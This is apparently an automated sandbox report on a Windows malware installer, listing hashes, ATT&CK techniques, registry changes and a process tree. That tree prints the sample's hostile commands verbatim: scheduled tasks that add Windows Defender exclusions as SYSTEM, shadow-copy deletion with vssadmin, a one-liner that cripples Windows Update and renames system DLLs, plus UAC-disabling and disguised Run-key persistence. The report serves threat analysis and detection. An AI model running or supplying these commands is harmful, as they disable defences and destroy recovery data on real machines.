d089f485122827cd0ff70d8f7201d4887ce66de7a68377967a95b29fcaf3ec3e

Analysis

max time kernel
146s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
30/08/2026, 22:30

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General

Target
install_q0.3.02.exe
Size 25.6MB
Sample260830-2er5fadf72
SHA256 d089f485122827cd0ff70d8f7201d4887ce66de7a68377967a95b29fcaf3ec3e
MD5 075aeb9634f862634994c165cb8d6746
SHA1 f89c67682b43c3ca33f052c8e846cd471c8628d1
SHA512 c051d8b002c7526c7fd28a60a3314339f7697dd201c1b7b9fb7e991c11e51c0de04b7d02449f0c3587202e8c84ae68e0733acc261e8bc7e81ffc7f51f4d81a83
SSDEEP 49152:NF335Swxsg3ID4aV2zgQKTXt5qyUOIoqNlx4oTINDlvD4a8QNoKcj5EXV2qOLHe:r5JC7k0fUOIo6lxfMaEXV2qOL+
TLSH
T153471B46B701CD8AF4665274A49B5FA0E336DD708AB1A33713B53A1D6FFE35C8EA2044
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution persistence trojan

Malware Config

Signatures

UAC bypass 3 TTPs 1 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	PacfGj.exe

Windows security bypass 2 TTPs 6 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\EF18Ra = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0"	reg.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000\Control Panel\International\Geo\Nation	BvK6av.exe

Executes dropped EXE 3 IoCs

pid	Process
5336	BvK6av.exe
1720	BvK6av.exe
4428	PacfGj.exe

Loads dropped DLL 3 IoCs

pid	Process
5336	BvK6av.exe
1720	BvK6av.exe
4428	PacfGj.exe

Modifies file permissions 1 TTPs 1 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
5200	icacls.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\EF18Ra\\BvK6av.exe\""	BvK6av.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Alibaba SecurityHealtha = "\"C:\\Program Files (x86)\\PacfGj\\PacfGj.exe\""	PacfGj.exe

Indicator Removal: Clear Persistence 1 TTPs 6 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
1424	cmd.exe
3076	cmd.exe
3116	cmd.exe
3552	cmd.exe
5920	cmd.exe
5376	cmd.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	BvK6av.exe

Drops file in Program Files directory 9 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\PacfGj\thumbs.db	BvK6av.exe
File opened for modification	C:\Program Files (x86)\PacfGj	BvK6av.exe
File created	C:\Program Files (x86)\PacfGj\PacfGj.exe	BvK6av.exe
File created	C:\Program Files (x86)\PacfGj\XPSPLOG.dll	BvK6av.exe
File created	C:\Program Files (x86)\PacfGj\image.png	BvK6av.exe
File opened for modification	C:\Program Files (x86)\PacfGj\PacfGj.exe	BvK6av.exe
File opened for modification	C:\Program Files (x86)\PacfGj\XPSPLOG.dll	BvK6av.exe
File created	C:\Program Files (x86)\PacfGj\thumbs.db	BvK6av.exe
File opened for modification	C:\Program Files (x86)\PacfGj\image.png	BvK6av.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 9 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5520	cmd.exe
3088	cmd.exe
6028	cmd.exe
3060	cmd.exe
3992	cmd.exe
5368	cmd.exe
5276	cmd.exe
3184	cmd.exe
3316	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PacfGj.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	BvK6av.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 6 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
5156	schtasks.exe
1668	schtasks.exe
5072	schtasks.exe
1580	schtasks.exe
5536	schtasks.exe
5940	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3304	install_q0.3.02.exe
3304	install_q0.3.02.exe
3304	install_q0.3.02.exe
3304	install_q0.3.02.exe
3304	install_q0.3.02.exe
3304	install_q0.3.02.exe
3304	install_q0.3.02.exe
3304	install_q0.3.02.exe
3304	install_q0.3.02.exe
3304	install_q0.3.02.exe
3304	install_q0.3.02.exe
3304	install_q0.3.02.exe
3304	install_q0.3.02.exe
3304	install_q0.3.02.exe
3304	install_q0.3.02.exe
3304	install_q0.3.02.exe
3304	install_q0.3.02.exe
3304	install_q0.3.02.exe
3304	install_q0.3.02.exe
3304	install_q0.3.02.exe
3304	install_q0.3.02.exe
3304	install_q0.3.02.exe
3304	install_q0.3.02.exe
3304	install_q0.3.02.exe
3304	install_q0.3.02.exe
3304	install_q0.3.02.exe
3304	install_q0.3.02.exe
3304	install_q0.3.02.exe
3304	install_q0.3.02.exe
3304	install_q0.3.02.exe
3304	install_q0.3.02.exe
3304	install_q0.3.02.exe
5336	BvK6av.exe
5336	BvK6av.exe
5336	BvK6av.exe
5336	BvK6av.exe
5336	BvK6av.exe
5336	BvK6av.exe
5336	BvK6av.exe
5336	BvK6av.exe
5336	BvK6av.exe
5336	BvK6av.exe
5336	BvK6av.exe
5336	BvK6av.exe
5336	BvK6av.exe
5336	BvK6av.exe
5336	BvK6av.exe
5336	BvK6av.exe
5336	BvK6av.exe
5336	BvK6av.exe
5336	BvK6av.exe
5336	BvK6av.exe
5336	BvK6av.exe
5336	BvK6av.exe
5336	BvK6av.exe
5336	BvK6av.exe
5336	BvK6av.exe
5336	BvK6av.exe
5336	BvK6av.exe
5336	BvK6av.exe
5336	BvK6av.exe
5336	BvK6av.exe
5336	BvK6av.exe
5336	BvK6av.exe

Suspicious behavior: LoadsDriver 4 IoCs

pid	Process
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 5336 wrote to memory of 1424	5336	BvK6av.exe	106
PID 1424 wrote to memory of 1668	1424	cmd.exe	109
PID 1424 wrote to memory of 868	1424	cmd.exe	110
PID 5336 wrote to memory of 3076	5336	BvK6av.exe	113
PID 1424 wrote to memory of 3560	1424	cmd.exe	115
PID 3076 wrote to memory of 5072	3076	cmd.exe	116
PID 5336 wrote to memory of 3116	5336	BvK6av.exe	118
PID 5336 wrote to memory of 3552	5336	BvK6av.exe	121
PID 3076 wrote to memory of 1984	3076	cmd.exe	123
PID 3116 wrote to memory of 1580	3116	cmd.exe	124
PID 3552 wrote to memory of 5536	3552	cmd.exe	126
PID 3076 wrote to memory of 840	3076	cmd.exe	127
PID 3116 wrote to memory of 4704	3116	cmd.exe	128
PID 3552 wrote to memory of 5556	3552	cmd.exe	129
PID 3116 wrote to memory of 5564	3116	cmd.exe	130
PID 3552 wrote to memory of 5544	3552	cmd.exe	131
PID 3088 wrote to memory of 5764	3088	cmd.exe	133
PID 3184 wrote to memory of 5780	3184	cmd.exe	134
PID 5336 wrote to memory of 5920	5336	BvK6av.exe	135
PID 5920 wrote to memory of 5940	5920	cmd.exe	137
PID 5920 wrote to memory of 6040	5920	cmd.exe	138
PID 5920 wrote to memory of 6004	5920	cmd.exe	141
PID 6028 wrote to memory of 6096	6028	cmd.exe	142
PID 5336 wrote to memory of 4428	5336	BvK6av.exe	143

System policy modification 1 TTPs 1 IoCs

defense_evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	PacfGj.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\install_q0.3.02.exe
"C:\Users\Admin\AppData\Local\Temp\install_q0.3.02.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
PID:3304

C:\Users\Public\EF18Ra\BvK6av.exe
C:\Users\Public\EF18Ra\BvK6av.exe
1⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Drops file in Program Files directory
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:5336
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\EF18Ra\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:1424
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\EF18Ra\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1668
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:868
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:3560
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:3076
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5072
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:1984
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:840
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:3116
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1580
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4704
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:5564
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:3552
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5536
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:5556
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:5544
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:5920
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5940
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:6040
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:6004
- C:\Program Files (x86)\PacfGj\PacfGj.exe
  "C:\Program Files (x86)\PacfGj\PacfGj.exe"
  2⤵
  - UAC bypass
  - Executes dropped EXE
  - Loads dropped DLL
  - Adds Run key to start application
  - System Location Discovery: System Language Discovery
  - System policy modification
  PID:4428
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c vssadmin delete shadows /all /quiet
    3⤵
    - Executes a command shell one-liner
    PID:3060
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    PID:3992
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    PID:3316
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    PID:5520
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /q /c "@echo off & (for %i in (wuauserv UsoSvc uhssvc WaaSMedicSvc) do ( net stop %i >nul 2>&1 & sc config %i start= disabled >nul 2>&1 & sc failure %i reset= 0 actions= "" >nul 2>&1 )) & (for %i in (WaaSMedicSvc wuaueng) do ( takeown /f C:\Windows\System32\%i.dll >nul 2>&1 & icacls C:\Windows\System32\%i.dll /grant *S-1-1-0:F >nul 2>&1 & rename C:\Windows\System32\%i.dll %i_BAK.dll >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /setowner "NT SERVICE\TrustedInstaller" >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /remove *S-1-1-0 >nul 2>&1 )) & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f >nul 2>&1 & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f >nul 2>&1 & reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f >nul 2>&1 & erase /f /s /q c:\windows\softwaredistribution\*.* >nul 2>&1 & rmdir /s /q c:\windows\softwaredistribution >nul 2>&1 & powershell -NoProfile -WindowStyle Hidden -Command "& {Get-ScheduledTask -TaskPath '\Microsoft\Windows\InstallService\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateOrchestrator\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateAssistant\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WaaSMedic\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue;}" >nul 2>&1"
    3⤵
    - Executes a command shell one-liner
    PID:5368
  - - C:\Windows\SysWOW64\net.exe
      net stop wuauserv
      4⤵
      PID:5176
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\PacfGj\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    PID:5376
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\PacfGj\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:5156
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    PID:5276

C:\Users\Public\EF18Ra\BvK6av.exe
"C:\Users\Public\EF18Ra\BvK6av.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1720

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\EF18Ra" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3184
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\EF18Ra" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:5780

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:536

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3088
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:5764

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:6028
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:6096

C:\Program Files (x86)\PacfGj\PacfGj.exe
"C:\Program Files (x86)\PacfGj\PacfGj.exe"
1⤵
PID:3824

C:\Program Files (x86)\PacfGj\PacfGj.exe
"C:\Program Files (x86)\PacfGj\PacfGj.exe"
1⤵
PID:3272

C:\Windows\SysWOW64\icacls.exe
icacls "C:\Program Files (x86)\PacfGj" /inheritance:r
1⤵
- Modifies file permissions
PID:5200

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Persistence

T1070.009

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

XPSPLOG.dll

Path C:\Program Files (x86)\0yAnvu1\XPSPLOG.dll
Size 2.4MB
SHA256 105f1f705d82fb665a5c5b6154673335443316874195ddeda89f9199ff6f2d0f
MD5 4e453e3175c2b92ef995c65039db1979
SHA1 4cea687275efc1749d6b7dff43f65e8a7624a686
SHA512 46e4a15b7f9d2eba134498463dbe44b5221c12496297dbf921ab5d6eacb67cae5e64eb6eaa0d49da861b7f416b4611a9d5b1e7b2c152dc6ea4b06a20d78c45ed
SSDEEP 49152:3KLKP3cCMWmRqKJ1JNST5Z/nvsNBcVwNefYhOY+nEXOnU:yCMWmcKfST5t+BceThTHF
TLSH
T16FB5339BF557460EEA6133B82F9DFC6D72BD59C8C22DE548D492308B4014B6E903FA8D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

XPSPLOG.dll

Path C:\Program Files (x86)\0yAnvu1\XPSPLOG.dll
Size 2.7MB
SHA256 b1ed7f39db4d225ad7395f2e513bc3ba96fa587e7a1e964fd00cd992b79cac3c
MD5 d15119c6cdfbaedb75fe2785a19f7829
SHA1 e6a7217b89cbdb4c2f6e6df03c14e8af2accbe0c
SHA512 8b172e708ff9042e7895a8e9cd5070edddb1792c03ae0a638e44de7b29fbc417a10ad0b7665f3a5a4a67438b5fdace1261f80c838d0f2815c06136ca527049c2
SSDEEP 49152:3KLKP3cCMWmRqKJ1JNST5Z/nvsNBcVwNefYhOY+nEXOnqaiOK5:yCMWmcKfST5t+BceThTHfao
TLSH
T16AD533DAEA9B461EE67033792F7DECAD76BC49C4831DE445D1A2314F4044BAE903E68C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

image.png

Path C:\Program Files (x86)\0yAnvu1\image.png
Size 2.1MB
SHA256 7d4c097de373747837b0e022b61da2a657f31e430ef2b3a96a95849ec7105b8c
MD5 adf500c764d18082c1366aa88be60fba
SHA1 2fb9e11a13248d1fb2af9e47fca9891ee87c7384
SHA512 171326ecf9dd45bd781f004b2c64e334754f8b69e37acf8ee1a1988512624f4a222d6c3d0367f406f08a422d5c60d3367b8efde656536a73133778ff0f2ec704
SSDEEP 49152:KEmY0WZdgzYkk3mPVWIU5VJwUTY1ptQZHA5HO:KFYrZdgzrNWII7jT4piZg5u
TLSH
T15FA533580B4DDEFA8B263FC6011F61C639CEAB1DE5D5A5124BB2DC5F8E6C480612B9CC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

PacfGj.exe

Path C:\Program Files (x86)\PacfGj\PacfGj.exe
Size 145KB
SHA256 6d6ba2bc9ad414837826f7278bc3e0116f1aeda02d0c2284ed65819f5d9180a8
MD5 5251b98614acffe5c856f4039ca03da3
SHA1 c80ed6716e89d4862f28ebbc130ec5aa362db963
SHA512 d750c9adb08d9525ee9948c0c18c96f0c9520068aa4aa24885ac0d98790a6cc0a8ce0e71e1c669acd4623e0aabfc08c11c02be403f275b01aa4277c4ddab3302
SSDEEP 3072:VafgcZGuY2TqWLGzwRC7kll1xtBQDTCCvtzaYPFPR/M:Yz8upLGaPQDnFzaYPFdM
TLSH
T16AE30852B6808460F76A0B311864F9E44A6EED3C1AD0E95FF2787D3A1E311C38A7756F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

XPSPLOG.dll

Path C:\Program Files (x86)\PacfGj\XPSPLOG.dll
Size 4.6MB
SHA256 aa167feac814df7e1811bfbb6a389470019183a25149788220d8554992732979
MD5 20eb88334a8938e226e7de4d9ebce5e2
SHA1 9b0600530aec1fe8f559862fd8660f67f0074083
SHA512 722f005c65f92b8257814926f0ff89328a3d2a12e02addf0699c1abf43eda28e8ca94eae0af597f5d0f4641d9601fcea94312fd2fdff74eed7dede6ef8465f30
SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1fdmyK:BMWKfU+BcUTHCCCfqCiUffnK
TLSH
T1F9263349BADB025DD89672704F6AFD7EB2B92CCC4204DC4DD44DE587E8B2729703A90E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

XPSPLOG.dll

Path C:\Program Files (x86)\PacfGj\XPSPLOG.dll
Size 4.0MB
SHA256 9cb15a65bbcd791ae32921fcecb56e8da1c3e8e434ea6f9da22a6dc76f50fe73
MD5 c7e03616f611b2e824710840b7d1afff
SHA1 d981dce5906d3cc0592fe77ec848b9c669217261
SHA512 f143a2c287d3c9f192b01f8ba1fdb0dad5fe18177badce8b48b500f02b6273b47782546032d4c53baa5c0616647efa0a37b7291d9522d53ad6dd2398a4d1c9dd
SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboBE:BMWKfU+BcUTHCCCfqCiUu
TLSH
T11216330EBADB060DD89672B45F2DFC7EB6742CCC4318DD89D499748BD4B2B29603990E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

XPSPLOG.dll

Path C:\Program Files (x86)\PacfGj\XPSPLOG.dll
Size 3.2MB
SHA256 601368742ce2ad1e3f87e015160ffe8f45c4f2bc8a4297f3baa8a48e6aaf5e79
MD5 500c4d85df6b00d754abbd978e1b8f2d
SHA1 15ed5e7218c0cbdab2b35b254044139cee7df1f0
SHA512 23f0f91ddaeaa2d63804de11947f5f58e1f0923bb5f25ff970ac30c8665e7dc5ad055a006cec647c621064ed53e6345632ef07aafcb5020f77e7f6b0ad8343a3
SSDEEP 49152:3KLKP3cCMWmRqKJ1JNST5Z/nvsNBcVwNefYhOY+nEXOnqaiOKZCUqyn78eT1d:yCMWmcKfST5t+BceThTHfaCCUqmJb
TLSH
T1D8F5334ABBCB921EE55272B84F3DFC7E76B859C8430CEC84D4A5314B90A6B6D503DA0D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

image.png

Path C:\Program Files (x86)\PacfGj\image.png
Size 5.0MB
SHA256 e20e219054f2a0a8a8c10b1e2fda62d7173b623510713ba0b2240b5a515746a4
MD5 a136dbe3274ef745b13d14ff13725843
SHA1 8e61391f9c104f400d5dc87a62170983068856d0
